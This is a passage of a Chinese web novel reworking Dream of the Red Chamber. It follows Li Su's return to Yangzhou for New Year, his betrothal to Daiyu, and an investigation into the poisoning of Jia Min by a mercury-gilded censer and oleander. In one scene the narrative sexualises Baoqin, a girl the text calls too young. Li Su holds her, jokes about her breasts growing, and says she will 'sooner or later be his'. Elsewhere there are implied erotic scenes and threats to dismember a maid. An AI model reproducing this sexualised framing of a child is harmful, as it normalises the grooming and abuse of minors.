众臣大喜,不停的山呼万岁。 以为自己的坚持得到了皇帝的妥协,自己也终于可以回家了。 这口气一泄,登时又晕过去七八个,现场一片混乱,夏守忠嗤笑一声,唤了个值守太监转身就往殿内走。 等到了殿门口,他才明白是怎么回事,愣了一下赶忙跑去了西暖阁。 雍和帝累坏了,正侧躺在榻上闭目养神。 听到夏守忠的脚步声,他轻声开口:“外面怎么了?谁在吵闹?” “陛下,是那些来请陛下治罪李素的官儿。” “他们怎么还没走?” “是奴才忘了他们,还有李素……激怒了他们,他们就站在那儿一直等着,还冻晕过去十几个。” 雍和帝睁开眼睛笑了:“哈,好。”接着他的脸色又沉了下来:“今日的事是谁撺掇的,尽快查出来。” “奴才已经安排了。” “李素呢?” “被皇后娘娘叫走了。” “好,这么个炮仗,就应该皇后多管管。” 就在此时进来一个小太监,跪下道:“陛下,飞鱼卫夏方求见。” 雍和帝一愣:“他不是刚走了么?怎么又来了?宣!” 只见夏方很快沉着脸就进来了,跪下叩头:“陛下,飞鱼卫辽东来报,安远卫就在金宝街着火那日,先是响起了惊天爆炸声,随后卫所陷入了一片火海!” 雍和帝一愣:“安远卫?” “陛下,前些日子,臣领旨派人监视各个卫所军营的爆炸声。” “喔,李素押解的银子!” 雍和帝瞬间想起来了。 如此说来,沧州阻拦李素,是为了等安远卫的兵来劫银子,跨海打劫,真是好大的手段! 辽东竟然如此不稳,雍和帝的心提了起来,这边军里到底是哪个藏奸,谁串的线儿? 扬州,漕运,辽东,水师,这一串儿的线索连起来,让雍和帝不自觉的感到毛骨悚然,摸不清楚暗中到底藏了谁。 西暖阁内陷入了沉默之中。 李素出了凤藻宫,走西华门领了自己的马和宝剑,就奔林府而去。 不知道为什么,醒来后总感觉身体有些发空。 第152章 林妹妹,新年好!(祝各位老板新年快乐) “宝琴妹妹,怎么还不睡?” “总感觉大兄会回来呢。” 李素回到林府已经入夜,进院子就见宝琴在自己屋子里读书,灯下的如花小脸儿晶莹玉润。 捏了捏宝琴的脸蛋儿。 “大兄这些日子都没有回府住,想大兄么?” “有些。” “哈哈哈,让大兄看看你胖了没?” “啊!” 宝琴还没反应过来,就感觉自己的身体飞了起来,被李素抱在了怀里。 “大,大兄。” 宝琴羞涩不敢抬头。 李素抱着她坐在了椅子上,嗅了一口清香:“嗯,胖没胖不知道,但却香了许多,以后多吃点儿木瓜。” “为何吃木瓜?” 宝琴一愣,抬头问。 “这样,大兄就能吃口好的了。”他想起了玲珑,但公主怎么可能给他做妾,那么李花园的想法就是自己培养。 宝琴虽然没有玲珑萌,但更精致,唯一不可控的就是宝琴会不会长高,太高了就不是这个劲儿了。 那就跟可卿差不多,可卿就是高挑硕大,长的很爽。 “我记下了,明日就差人去买木瓜。” “好。” “我去给大兄打水洗漱。” “好,去吧。” 不多时,宝琴带着几个仆役扛着大木桶进了屋子,把水弄好后,他们就出去了。 “宝琴,你也出去吧。” “我……我要给……” 不待她说完,李素摇头道:“妹妹年岁尚小,还不到时候,你早晚都是大兄的人,也跑不掉,去吧,听话!” 宝琴羞着出了屋子,把门关了起来。 李素自己更衣,就要入桶,忽然感觉不太对,好像事后没被清理干净一样。 元春还会偷吃了? 元春此时正给皇后洗脚。 洗完一只后,放到了自己的膝盖儿上:“娘娘的足真的美,白嫩如玉,软滑又似豆腐。” “你也喜欢?” 元春轻声:“嗯。” 皇后抬脚放到了她的肩膀上:“你有没有觉得本宫癫了?” 元春不说话。 “是了,本宫也觉得自己癫了,你进宫以来谨小慎微,心中也时常藏着满腹的幽怨和恨意吧?别否认,本宫都知道,你只是一个小小的女史而已,而本宫做到皇后又受了多少,你能想象么?” 元春估量了一下道:“那,那必然是极多的,换了奴家定然是早就疯了。” 白皇后叹了口气:“是啊,现在有你,嗯,本宫拿你当妹妹,和你说说这些心里就畅快多了,十几年本宫就这么孤独着自己撑过来的,不知有多少刀光剑影,光死局就有六次之多!” “啊?” 元春抬头看着皇后,真没想到她还经历过这么危险的情况。 “哈哈哈,你这小丫头,看你的表情,好似还可怜起本宫来了。” 白皇后说着,脚丫一扭就凑到了元春的脸上,元春的眼睛缓缓的闭了起来。 皇后也闭起了双目,轻哼道:“有了你,有了他,我才不会被烧着了,我也不会疯了,我时常想砸烂一切,破坏一切,但我不能,我是皇后,我要母仪天下,我是天下女子表率,但谁关心过我真的想要什么,我啊……不过一个女子罢了…” “妾当做蒲苇,君当做磐石,蒲苇韧如丝,磐石无转移。” “是啊,你说的对,但磐石并不是石头啊,元春,你能想象自己的男人就像石头一样刻板么?就连……欢好,都数着数字,计算着时刻,不能多也不能少。” “这,奴婢不懂。” “你会懂的,所以本宫最厌恶的就是循规蹈矩。”说完这句话她又喃喃自语:“或许小贼不见一丝循规蹈矩才……啊,元春莫吃。” 元春俏脸驼红,口齿不清:“奴婢怜丝娘娘呢。” 第二日一早。 宝琴起床后,见身边的余温尚在,人影不见了。 李素昨晚抱着她和衣而睡的,很温暖。 随后她就看到了身侧的一封信,上面写着宝琴妹妹亲启,她赶紧打开来看,全是大白话。 宝琴妹妹,新年好。 你看到这封信的时候,大兄可能已经出城了,也可能没出城,大兄要赶着回扬州过年,带你的话可能会赶不上,所以只能留妹妹和你兄长在京自己过年了。 你帮大兄办几件事儿,让你哥哥传话给宁国府的无色我回去过年事儿,其次荣国府里还有大兄的几个丫鬟你是知道的,给她们准备一些过年的例 银和礼物。 给妹妹的年礼,就在你枕下,就说这么多,大兄走了,妹妹保重。 最后再说一句,大兄喜爱你! 宝琴看完信忙着翻看自己的枕下,只见一对儿莹白的羊脂玉镯就在那里躺着,她拿了起来看着,看着,痴了。 李素骑着照玉狮子,打马在前,身后跟着飞狐和四个护卫。 前面是城门,刚刚打开,已经有百姓在排队进出,李素放慢了马速。 飞狐催马上前:“素爷,咱们就这么走了吗?” “叫素哥儿。” “素哥儿。” “嗯,回去过年要紧,其他的一切不重要。” 他归心似箭,什么晴雯、凤姐、可卿葫芦的全部都放在脑后,更不用说什么兵马司,珠琏涉政的,统统比不得他回扬州过年重要。 回家,过年! 现在这个季节腊月深冬,临近年关,运河北段已经冰封。 幸亏皇帝赏了他这头照玉狮子,日行千里的宝马,否则还真难说能不能赶的上,飞狐他们为了能保证速度,更是一人带了四匹马。 出了城门,李素一马当先,大喝一声,驾! 其他五人猛的打马追了上去,不多时就消失在了大路的尽头。 “你说李素去哪了?” 西暖阁中,皇帝一愣,看着夏守忠。 “陛下,花园子爵好似回扬州了,一早他骑马带着五个护卫从南城门就出了京。” “这个没出息的混账!” “他都没去荣国府告别,也兴许不是。” 雍和帝叹了一声:“肯定是了,这是个重情义的混账,你说他攻打四个兵马司是不是有意的?” “陛下是说他为了让您把他撵回去?” “你还记得那日朕让他上任兵马司的时候,他说的什么话么?” 夏守忠笑了:“奴才记得,就是反复说请假的事儿。” 雍和帝苦笑一声:“朕就说,兵马司哪里那么容易立功,原来这个混账打的是让朕把他拿下来的主意。” “这,这花园子爵跟一般的臣子还真不一样。” “知道朕为何可以容他胡闹了吧,至真至性的臣子古今少有,你看这满朝中,都是些什么东西,谁是人谁是鬼?” 夏守忠赔笑:“陛下圣明,奴才定然是人的。” “你确定?” 夏守忠心里一突儿:“奴才确定。” “你们夏家可是银子都堆满了啊。” “陛下,奴才有罪!” 夏守忠吓得噗通就跪了下去。 “你说,你家就剩下个姑娘,要那么多银子作甚,额……对了,你那侄女是叫夏金桂吧。” 夏守忠不敢说话,不停的磕头。 “行了,朕知道,你是人。” 三日后。 南行的道路豁然开朗。 飞狐紧催马上前,跟李素并行:“素哥儿,这前方的路更好走了,我更有信心能赶上过年了。” “哈哈哈,那是,前方进入山东界,全程开通四车道通行,驾!” 李素纵马窜了出去。 飞狐高声喊道:“我等马踏齐鲁,长风万里,一轮顺风,驾!” 驾! 护卫们紧紧跟了上去,烟尘四起。 …… 扬州的天气,与北方不同,冬日里湿冷。 今日,已经大年三十了,过节的气息仿佛吹走了寒气,暖了人间。 街道上的人也变少,但到处飘香的烟火气和孩童的笑闹声,昭示着已经过年了。 天色已经晚了,林府,李素的院子里。 黛玉和雪雁把李素屋里的炭火又加上,就出了屋子。 “姑娘,小爷肯定是回不来了,你又忙活这一遭,老爷和夫人催了几次让回去吃饭,您还不慌不忙。” “你懂个甚?归人盼暖,万一回来,冷屋冷灶怎成?” “喔喔,姑娘,把裘袍再裹紧些。” 忽然天空中突然间传来一声炸响,只见天空中绽放出一朵朵绚丽多彩、璀璨夺目的烟花。 这些烟花如同流星垂天而降,瞬间将整个漆黑的夜空点亮,仿佛给夜幕披上了一件华丽无比的彩衣。 它们有的如盛开的花朵,娇艳欲滴;有的似腾飞的巨龙,气势磅礴;还有的像闪烁的繁星,密密麻麻地点缀在夜空中,美不胜收。五彩斑斓的光芒交相辉映,映照得四周一片明亮。 主仆二人呆呆的看着天空,黛玉喃喃道:“好美啊!” 雪雁点头,眼睛看着天空眨也不眨。 林府的人都走出了屋子,看着天上不断绽放的烟花。 如此过了一炷香的时间,烟花消失。 黛玉有些失落。 就听有人吟道:“天上一放一树花,好景知年到我家。” 黛玉猛然瞧去,愣住了。 只见是李素手里提一盏灯笼,正笑着正往自己走来。 到得近前,立住不动,看着她温声道。 “林妹妹,新年好!” (祝各位老板新年快乐!) 第153章 除夕夜李素说书 “小师兄?” “小师兄!” 黛玉眼中喜意,好似烟花瞬间绽放。 但下一刻,好似不相信自己的眼前人是真的,抬手想去触碰,又止在半空,眼中水韵起,莹莹雾雾。 “换个称呼。”李素看着她笑。 “小师父?” “再换!” “……素哥哥。” “哈哈哈……”李素长笑,猿臂轻舒揽了黛玉入怀,抱起来就转了个圈儿。 黛玉垂首,紧紧抱住了他的腰,但口中却呢喃道:“不合礼呢~” “去他娘的礼,哈哈哈!” “呔!小爷快放下姑娘,不然打你了!” 雪雁拉开了架势,怒目看着他。 李素把羞涩的黛玉放下,双手掐住雪雁的脸蛋儿,向两边扯了扯:“嗯,不错,又壮实了……哈哈,走,玉儿带我去见师父师母。” “好。” 黛玉笑意盈盈,不停的瞧着李素,仿佛怕下一刻人就不见了。 “小爷,刚才那烟花,是你放的么?” “嗯,早就让他们准备了,给你们姑娘看的,你别回头好好看路,提好你的灯笼。” 黛玉的小手反握李素:“若是我没看到怎么办?” “我就把扬州城点了,让你看一场更大的烟火。” “小师兄又胡说。” 她嘴里吐槽,但眼中的喜意更盛。 等到了后院儿饭堂,已经得到林忠报信儿的林如海和贾敏正在门口迎他,二人笑颜吟吟看着他们三人。 李素松开黛玉的小手,大步走向前,一撂下拜跪倒在地。 “师父、师母,我回来了!” 林如海虚扶笑道:“好好,好,回来就好。” 贾敏却是伸手就拽:“哎呀,你这孩子,快起来,地上凉,冻坏了吧,这该死的天,饿不饿,快给我瞧瞧瘦了没?快进屋,进屋……快,你们是死人啊,把屋里的炭火再加两盆。” 进了屋子,贾敏就把他摁在了椅子上,擦擦了眼角的泪,口中不停:“你这一去这么多天,信儿虽然没断,但不见人影儿,让我这心里七上八下的……老爷,若妙言再去京里,你也跟皇上说说,咱们一块儿去。” 林如海无奈的笑着点头。 “师母,我去了这么多天,每天就想着吃师母张罗的饭菜呢,尤其今日这年夜饭,多亏皇上送了我一匹好马,总算是赶上了。” 贾敏笑的合不拢嘴,连声道好:“……好,好,这就开饭,对了,玉儿呢?” “娘!” 黛玉斜眼瞧这个喜新厌旧的母亲。 贾敏把她揽过来,宠溺的揉了一把:“这声娘叫的新鲜。” “哈哈哈……” 欢声满堂。 一场年夜饭吃完,林如海带着李素去了书房,贾敏想了想也跟了过去,黛玉紧随其后,脚步不输乃母。 师徒二人在书房刚坐下,就见这娘俩也进来了,李素赶紧张罗她们二人坐下。 林如海道:“你们都来了,那就一块儿听听妙言讲讲京里的事儿。” “妙言快说说,我母亲身体如何?” “师母,老太君挺好的,身体也健朗,不输宝玉。” 贾敏一愣:“这么……壮实吗?”接着继续问道:“贾府怎么样?我那兄长和二……嫂身体怎样?” “壮实,主要是宝玉太弱,我去之前贾府还挺好的,赦大叔和政二叔也不错,二婶子嘛,自打我去了,就不太对劲儿。” 贾敏眼睛一亮,她就喜欢听这个:“怎么个不对劲儿法?” “我一开始吧,认错了人,不小心抢了她的佛珠,后来宝玉拿出自己戴的玉跟我炫耀,我一想,我可不能给师母丢人,于是也拿出了自己的玉,他口衔着玉出来的,我是颈上戴出来的,不输他!宝玉气的摔了玉,没想到二婶子竟然晕了过去,实在是奇怪,不对劲儿。” 李素说着掏出了那一串儿玉,递给贾敏。 “他说他有字儿,咱也有啊,比他还多。” 等他说完这句话,贾敏已经乐的直不起腰了,黛玉也听明白了,倚在贾敏身上咯咯直笑。 贾敏看完那一串儿玉,被黛玉拿了去。 “后来呢?后来呢?” “后来啊,二婶子就有点儿倒霉了,她先是被珍大哥踹了……这里。”李素比划了一下自己的胸大肌,继续道:“差点儿没爆炸!然后宝玉又被珍大哥给贴了,弄的有点儿狠,整天漏那夜香,二婶子成天也带着香气,如今可是威风的很,谁见谁躲。” 贾敏 听到这里,彻底嗨了,拉住李素的手一顿摇:“啊,快说说,说说,到底怎么弄的?” 黛玉也瞪大了眼睛,她有点儿听懂了,又有点儿没听懂。 林如海听到这里也愣住了,这贾府这么乱?这么不成器? 于是李素清了清嗓子开始说书,把进贾府的故事从头开始讲了起来,按照标题来看大概如下: 皇帝赐宅元春长史,贾府坐蜡先礼后兵。 贾府开中门迎年礼,贾珍夜宴提媒迎春。 宝玉搅亲醉酒遭贴,贾蓉被攮父子受创。 二婶贾珍踹胸挠脸,贾珍诈尸老亲同祭。 双春做妾欲换元春,失火贾珍被误造反。 李素仗义砍牛继宗,攻打衙司被斥归扬。 李素一顿讲的跌宕起伏,口干舌燥,连喝了三杯水,三人听的是目瞪口呆,尤其贾敏惊叫连连。 “哎呀,你这孩子,这一趟不到两个月,比你师母三十多年经历的都精彩,我该跟着去的,啧啧,太有趣儿了。” 贾敏听完一脸的遗憾。 “这么说小师兄已经有两个妾了?”黛玉眼睛眯了眯。 “不止,我看元春那丫头也是,长史那都是糊弄人的,哎呀,我那二嫂的两个姑娘都成了素哥儿的妾,这真的是…啧啧…好命啊……” 贾敏又乐了起来,她俩姑娘都归黛玉管,这次自己真的赢麻了。 “探春姐姐可不是二舅母亲生的呢。” 贾敏搂了搂她:“玉儿不知,名义上可也叫她母亲,妙言办的不错,还得了六个丫鬟,但还是不够,就说琏儿吧,小厮都有八个呢。” “不急的师母,这些人啊,以后都让玉儿来调理增减,我也没那么细的心思,这名门贵族族的过活,徒儿实在是不太明白。” “呸!哪个要给你调理。” 林如何和贾敏却都笑了起来。 贾敏猛的起身,又坐了下来:“妙言,你是说……” 李素向林如海和贾敏躬身行礼:“师父、师母,我李素自入林府,师父师母待我如子,我也喜爱玉儿,这次进京历经生死,看透了一些事儿。” “所以这次借着年节,合礼也罢,不合礼也罢,但双亲不在身边,我就厚着脸皮请师父师母将玉儿许我为妻,我请了皇后娘娘为我提亲做媒,定不会让玉儿委屈了,以后也定让玉儿幸福,在此请师父师母成全。” 说完他一个头磕在了地上。 “嘤~” 黛玉听完,逃也似的,转身就跑了。 “好,好,好!” 林如海哈哈大笑起来,走过来弯身扶他,贾敏也是在另一侧架住了他的胳膊, “师父,师母,我还有话,我知道师父四代列侯,到此香火难继,我和玉儿成亲以后若多子,则指一姓林,承嗣林家香火,勿使林家血脉断绝。” 这话出口,林如海和贾敏更加激动了。 林如海死死把住李素的臂膀,把他拽起来:“得此佳婿,我林如海之幸,夫人去备酒,我和妙言要畅饮。” “好,好,我……我这就去备。” 贾敏激动的好似个无头的苍蝇,紧着擦不停往外流的眼泪,她终于把心落地了,多年的愧疚,在今日被李素给她解决了。 出门的时候,贾敏忽然想起来:玉儿人呢? 暗笑小丫头是害羞了。 她出了门忽感一阵头晕目眩,啊的一声就往地上倒去! 听到了门外的动静,李素心里咯噔一声,疾步出门,见贾敏闭眼瘫倒在地上,浑身颤抖,双手紧握。 “师母!” 第154章 凶手是谁? 贾敏昏迷了。 扬州城的名医束手无策,找不出病因。 贾敏时醒时晕。 李素想起之前的担忧,怀疑有人下毒,所以从大年初一开始,林府的饭食从食材的采买到入口,全部由调来的巡捕营的士卒全程监控。 另外厨子全部看了起来,找宋家的宋出云帮忙,借了宋府厨子负责府中的饭食。 接下来他就着手开始调查贾敏的饮食,没道理如果是下毒,林如海和黛玉没事儿,而贾敏却倒了下去。 “妙言,你师母真的是中毒?” 林如海一脸憔悴,黛玉这几天都瘦了下来,三天哭九顿,让李素忧心不已。 李素摇摇头:“我只是怀疑,万一是中毒,我们就能找到方向,即使不是也以防万一。现在就等御医了,皇上答应过我,我之前也问过,御医已经出发了,只是弟子脚程快,先到了。” “放手查吧,若是查出来,真的是被下毒,相关人一个不留!” 林如海眼中寒光乍现。 “是,师父,师父和玉儿再想想,师母平日里可有什么异常?” 林如海摇了摇头,而黛玉拧眉想了半天,忽然开口道:“就是,就是夜里常说会闻到铁锈味儿。” “额,这我也闻到了。” 铁锈味儿? 李素又看了一眼床榻上的贾敏。 嗯? 他忽然发现郎中和自己,好像都忽略了一个地方,就是贾敏晕过去的时候双拳紧握。 于是他俯身掰开贾敏那紧握着青筋毕现的手。 ——指甲根部竟然泛着诡异的蓝线,像一道来自幽冥的烙印! “这?” “师父,这是重金属中毒的迹象!” 林如海一愣:“何意?” “师父且看,玉儿,去取银簪来!“李素的声音惊醒了黛玉。 当簪尖探入贾敏口中,暗色斑点渐渐在银面上晕开,仿佛宣纸上洇开的墨迹。 “师父,玉儿,汞中毒,汞遇银子就是这般反应!” “是谁?如何施救?” “现在可以确定师母是被下毒了,人跑不了,咱们府里已经管制了起来,现在师母汞中毒之外,到底还有没有别的毒,还不能确定,但我知道这毒是从何而来的了。” 李素沉声说完站了起来,走到一旁的案几,指着那盏鎏金香炉。 “香炉?” 林如海愣了。 李素把几只香炉拿到地上,一个个把香灰倒干净后,拿着烛火照过去:“师父,玉儿你们看,这香炉的内壁看似银色,但其实应该是汞金镀层,遇到加热时汞就会挥发进入人的身体,造成身体汞中毒,而汞挥发就有铁锈味儿。” “那……那我为何无事?” “师父也中毒了,只是没有显现,但师父没晕倒我猜大概有几个原因,一是师父劳于案牍,在卧房时间短,再者师父体质更好一些,还有一个原因,就是可能师母还中了其他的毒!” “这香炉是哪里来的?” 林如海和黛玉面面面相觑,二人竟然谁也不知道。 此时林忠从外面快步跑进来:“老爷,老爷,御医到了,到了,我直接带过来了。” 林如海大喜,豁然起身:“快快快,请进来。” 他话音未落就见进来二人,穿着厚厚的棉袄,身上背着医箱。 “吴兆林、刘赤奉旨值守巡盐御史府,见过林大人!” “有劳二位御医来的正当其时,拙荆中毒昏迷,正是束手无策,刚发现了汞中毒。” “额?具体什么情况。” 二人放下医箱开始观察贾敏的情况。 李素给他们把情况说了一遍,他们看了看香炉,又观察了一会儿贾敏。 吴兆林开口道:““取二十枚生鸡蛋,只要蛋清。“他打开自己随身携带的医箱,倒出了干的绿豆与甘草,“三碗水煎成一碗,要快!“ 丫鬟接了绿豆甘草,赶紧去了。 “吴先生,我师母体内是否还有其他的毒?” “现在看来是的。” 李素跟林如海双双对视,心中同时在想一个问题,这是一拨人下的毒,还是两拨人?多大的仇? 丫鬟捧着瓷碗而来,里面装满了蛋清,吴兆林接过来将蛋清灌入贾敏喉中。 蛋白裹挟着黑绿色黏液从嘴角溢出。 “这?” 刘赤摇摇头:“等会再看。” 过了大约一刻钟,贾敏忽然剧烈抽搐。吴兆林按着贾敏突突跳动的太阳穴,眼见瞳孔从针尖大小骤然扩散 。 他跟刘赤对视一眼,刘赤走向贾敏枕边猛地扯开绣枕,数朵干枯的夹竹桃从锦缎夹层簌簌而落。 “林大人,这是夹竹桃苷引发的心颤!” “可能治?” 吴兆林和刘赤相视一笑:“幸好,我们来的巧,而你们又提前发现了这藏毒的香炉,所以能治!” 众人松了一口气。 李素看着黛玉和林如海:“师父、玉儿,师母可以放心交给两名御医了,接下来咱们就该抓人了!” “怎么抓?” “师父交给我,您去休息。”随后李素看向林忠:“忠叔,把内宅的丫鬟仆妇全部集中到院子里吧。” 林忠匆匆去了。 林如海苦笑:“我哪睡得着,我倒要看看到底是谁。” 李素又看向了黛玉,见她小脸儿憔悴,很是心疼。黛玉明白他的意思,摇了摇头:“我也要看着。” “好。” 不多时林忠集齐了人。 李素手拿宝剑,冷冷盯着下方接近百人的丫鬟仆妇,四周站着巡捕营的兵卒,长棍上面都已经上了刀。 “有人给夫人下毒,手段有两个,一是往夫人枕头里塞了夹竹桃,二是往夫人房里放了这几个香炉,到底是谁干的,主动站出来!因为夫人无恙我不杀你,只是逐出府去,若是被人检举出来,千刀万剐!” 说完,他手中宝剑一举,四周兵卒吼了起来:“千刀万剐!” “千刀万剐!” “千刀万剐!” …… 一众丫鬟仆妇被这场面顿时吓得直哆嗦,很多人面色难看,不敢言声。 李素挥了挥手,兵卒噤声,他继续说道:“你以为你做的隐蔽,就没有人看到吗?现在我宣布,凡举报者者,赏银万两,府里还可以答应对方一件事儿。” “我举报!” 李素一看,雪雁从黛玉身后跳了出来。 “这可不是胡闹的时候!” “小爷、姑娘、老爷我是老实人,可不胡闹,只是刚才一时没想起来,现在想起来了,真不是为了银子。” “你说。” “我举报秋菊!” 秋菊吓得一哆嗦,直接在人群里跳了起来,尖声道:“啊,你乱说!” “哼,我才没乱说,那天晚上我出来解手,就是小爷上京还没几天,就看见你趴在姑娘窗前偷听来着,你如此鬼祟定然有鬼,那么夫人被下毒肯定也是你干的。” “我就是路过!” “路过就能窥伺主人隐私么?” “我错了。” 秋菊噗通跪了下来。 李素来到她前面,用脚踩住了她的手指:“秋菊,你到底做没做,一会上了刑,我就知道了,现在说出来还可以赦你无罪,一会被刑讯出来,你会很惨!” 秋菊惨叫拼命的往回抽自己的手。 李素转身大喊道:“飞狐,把她扒光了,从脚开始往下切,切成一片一片,切成土豆丝。” 秋菊闻言顿时身子一瘫,软倒在地,只见裤子已经湿了。 “是!”飞狐答应一声带着几个人就冲了上去,拽住秋菊就往外拖! 这时秋菊反应过来了,大声哭喊:“别!我招,我招啊,小爷!” 李素一摆手,秋菊被拉了过来、 “说!” “……夫…夫人枕头里的夹竹桃是我放的,香炉不是我弄的…” “你为什么这么做?” “我恨!”秋菊面色忽然变得及其怨毒。 “就这?就因为恨?” “对,就是因为恨,凭什么我偷个懒就要罚我,凭什么我讨好姑娘要挨打,凭什么挨打还要再饿我啊……呜呜呜,天那么冷,柴房里更冷……” “拖下去!” 第155章 贼未净,人未醒 李素一声令下。 秋菊瞬间被这突如其来的命令,吓得花容失色,她惊恐地尖叫着:“不!小爷!求求您饶了我吧!” 两个壮汉面无表情地拖拽着秋菊,毫不留情地向着门外走去。 秋菊绝望地挣扎着,她的双腿不停地胡乱踢蹬,试图挣脱束缚。泪水像决堤的洪水一样奔涌而出,不停地哭喊:“不要啊!小爷,是有人给了我银子!有人给了我银子啊!” “拖回来!” 秋菊又被拖了回来,瘫软在地哭诉:“小爷,有人给了我银子,让我往奶奶枕头里塞那夹竹桃……他说,说就只会让人头晕……我没敢做,后来,后来我恨,就放了……呜呜,我没想害死奶奶啊……” “谁送的银子?什么时候送的银子?为何找你?” “我,我不认识,一个男人,时间就是府里遭贼之后,对,就是那个事儿之后,具体时间奴婢也不大记得了,给了我五百两,说事成后再给我五百两,只是不知怎地那个人没再出现,为何找奴婢,奴婢也不知道……小爷,那五百两我可没花啊!” “我知道,为何有人找她!” 人群中一个丫鬟站了出来。 “你是……小翠?雨村先生的丫鬟?” “是的,小爷,这秋菊经常抱怨主子,小主子,想必被人听了去呢。” 李素点点头。 “林忠,将这贱婢住处抄检,如无异常就直接逐出府去,且不得让她带走任何一件物品!” 林忠答应。 秋菊还想开口喊叫,怎奈一双大手狠狠地捂住了她的嘴巴。紧接着被硬生生地拖出了院子。 在场的一众丫鬟和仆役们目睹此景,一个个都吓得面色惨白,心中惶恐不安。整个院子里顿时弥漫着一股紧张而压抑的气氛,仿佛连空气都凝固了一般。 李素又清嗓子高声道。 “我告诉你们,下毒之人不止秋菊,从现在起,府里谁也不准出门,除非主母醒了过来。” 李素来到林如海面前:“师父,这样可好?现在天寒地冻,盗匪横生的让众人都散了吧?” 林如海点头,知道他话里的意思,是让秋菊死在府外。 黛玉却欲言又止,李素知她起了怜悯之心,伸手揉了揉她的小脑袋:“师母还未醒,若不是御医及时赶到,咱们可就成孤儿了。” “小爷,我的银子呢?” 雪雁一嗓子,打破了黛玉的羞意。 “给你了啊!” 雪雁着急了:“什么时候给的?” 李素伸手摁住了她的肩膀:“别蹦!雪雁,我问你个问题,你是谁的人?” “姑娘的。” “那你的是不是就都属于姑娘?” “然也,小爷问的好没水准!” 李素偏头看黛玉:“你是不是教她读书了?” 黛玉抿嘴儿笑:“戏文。” “雪雁,你看啊,你姑娘的就是我的,那么我的银子给了你,不就等于又给了我吗?所以我给过了啊。” 李素说完不再理她,让众人散了,随后扶起了林如海:“师父,去屋里,我有话说。”和黛玉、林如海往书房走去。 留下了雪雁在原地转圈儿,念念有词。 到屋里落座后。 “妙言你说。” “师父,让玉儿说吧。” 林如海看向了女儿,黛玉抬起头想了想:“小师兄的意思是府里还藏着人,一个是把秋菊的情况泄露的出去的人,还有就是那给香炉下毒之人。” “玉儿说的没错,现在不确定是这是一伙人还是两伙人,但可以大致确定收买秋菊的很可能是黄家,他家黄了以后,就没有人再盯着秋菊的结果了,只是没想到她内心存恨,还是办了这事儿。” 林如海脸上又现自责之色,看向黛玉:“那根子还是因为盐务,是我连累了你母亲啊。” “师父,你也中毒了。” “我无碍,吴刘二位在,更是无事。” 黛玉却接着分析:“与秋菊所下之毒不同,那是偷着弄的,只要没有人看见,就不容易找,而另外的汞中毒却是因为香炉,只要母亲醒来就可以找出他来,所以他现在最担心母亲醒过来,所以小师兄刚才说了一句,想看看母亲醒来之前有没有异常。” “除非母亲也不知是谁放的,最应该知晓的是母亲贴身的丫鬟碧荷,而碧荷此时现在京里。” “对,就是如此,玉儿可以做个女包拯。” “哼,就会取笑我,就是不知母亲如何了,我去瞧瞧。” “好,玉儿去吧。” 李素给林如海倒了一盏茶:“师父,府里开始有人下毒了,可是最近官面上有什么动静?” 林如海叹了口气:“嗯,上了一道折子。” 李素皱眉。 “改纲为票?怎么突然就动了?” “是如此,高大人要动,他想给盐商更大的压力,逼他们犯错,逼他们露出尾巴。” “高大人糊涂啊!” “哼,老夫没有功夫在这扬州跟盐商斗法,现在黄河冻期,有赖于你的滑轮组,清淤已经开始了,这涉及河南几百万百姓的生计,少些子盐税朝廷最多难一难,黄河的问题弄不好可是要了万千百姓的命。” 高玄举竟然来了,身后跟着讪笑的林忠。 “老夫走的快,不怪你这仆人没提前禀报,听说你夫人有恙,如何了?” 李素豁然起身:“高大人,托你的福,我师母被人下毒,下毒之人应该就在府里,现在许进不许出!所以你走不了了!” “妙言,注意礼节,此事不怪高大人,快给高大人看座。” 高玄举也不待李素给他让座,一屁股坐在了另一把椅子上。 “如海,你把这小子让给我当弟子吧,太合老夫的性子了,在京中提剑追杀一等伯,攻打四城兵马司衙门……啧啧,老夫听了以后如饮琼浆啊,哈哈。” “不让!” 李素一愣:“高大人,这么快就得到了京中的信儿了?” “你小子有所不知,钦差行辕可是随时与京中以鸽信儿通传的,这是钦差行辕常例。”说完他看了看李素,又叹了气对林如海道。 “可惜了,如海你是君子,这样大杀四方的弟子、孙猴儿就该跟本官啊。” “跟你,死得快。” “如海,我知这次事件是我过于急躁了,导致尊夫人受害,在此我给你赔礼了。”说着高玄举起身就对着林如海深深一礼。 林如海忙起身过来扶起高玄举:“我知高大人一心为国,但我还是要说一句,家人不能不顾啊。” 再次落座后,高玄举摇了摇头:“我与你不同,我寒门出身,为百姓、为公义,为皇恩我舍得一身剐。” 林如海也放开了,这次贾敏中毒让他少了些顾忌。 “你的家人愿意么?你那女婿明明被人冤枉而死,家破人亡,你找不出证据又如何?何况你哪里有精力去护着他们?做的再急,又能做几件事?” “多一件,是一件,百姓就少受一点苦。” “所以,你身边就是火坑,我怎么可能让妙言跟你?” 高玄举扭头看向对李素:“妙言,我有个外孙女,之前和你说过,貌美如花,跟你一个辈分的道号。” “也出家了?” “跟你一般,也是俗家弟子,不过她是佛,佛道一家亲嘛。” “这么巧么,她什么道号?” “妙玉!” 第156章 肘腋之祸 “妙玉?” “对,妙玉,哈哈,妙玉妙言啊,你觉得如何?” 高玄举的外孙女竟然是妙玉,高鹗写她最终被一群盗贼掳走,老惨了!按照原著的尿性,对应那句:欲洁何曾洁,云空未必空。她最终一定是掉在了泥沼里。 若高玄举是妙玉的外祖父,那么高玄举的结局也不会好,不然不会照顾不了一个小丫头。 “你让她来扬州吧,改佛入道,我让我师兄收她为弟子。” “好,好。” 高玄举对自己外孙女的容貌有信心,辈分什么的不是问题,他不信李素见了自己的外孙女能不动心。 这时林忠匆匆跑了进来。 “老爷,孙姨娘说母亲病重,要回娘家探望被拦了下来。” 李素和林如海然起身,心到来了! 二人相视一眼,林如海身子一晃,李素赶紧扶住了他。 “师父!” “不,不打紧,我要亲自审她!” 孙姨娘很快就招了,三年前她母亲让她讨好贾敏,送了贾敏几只香炉,一直无事,直到前些日子,她母亲又让她送盘香给贾敏。 她也没觉得有什么问题,讨好主母很正常。 但今日贾敏中毒,她去探望得知是香炉有问题,瞬间就明白了怎么回事,于是惊吓准备跑路,被拦了下来。 “姨娘是否常和你母亲说起府中各人的关系?比如秋菊时常有怨气?” 孙姨娘梨花带雨的扑在地上,缓缓摇头。 “奴家从未说过丫鬟的事儿,只说过主母和老爷。” “父亲,你看,平日里师母烧的都是直香,烘烤不到这氧化汞,而换成盘香就不同了,热量被闷在炉中,引起了毒性的挥发,我看就把这炉子放到孙姨娘房里烧吧。” 黛玉说完恨恨的看着孙姨娘。 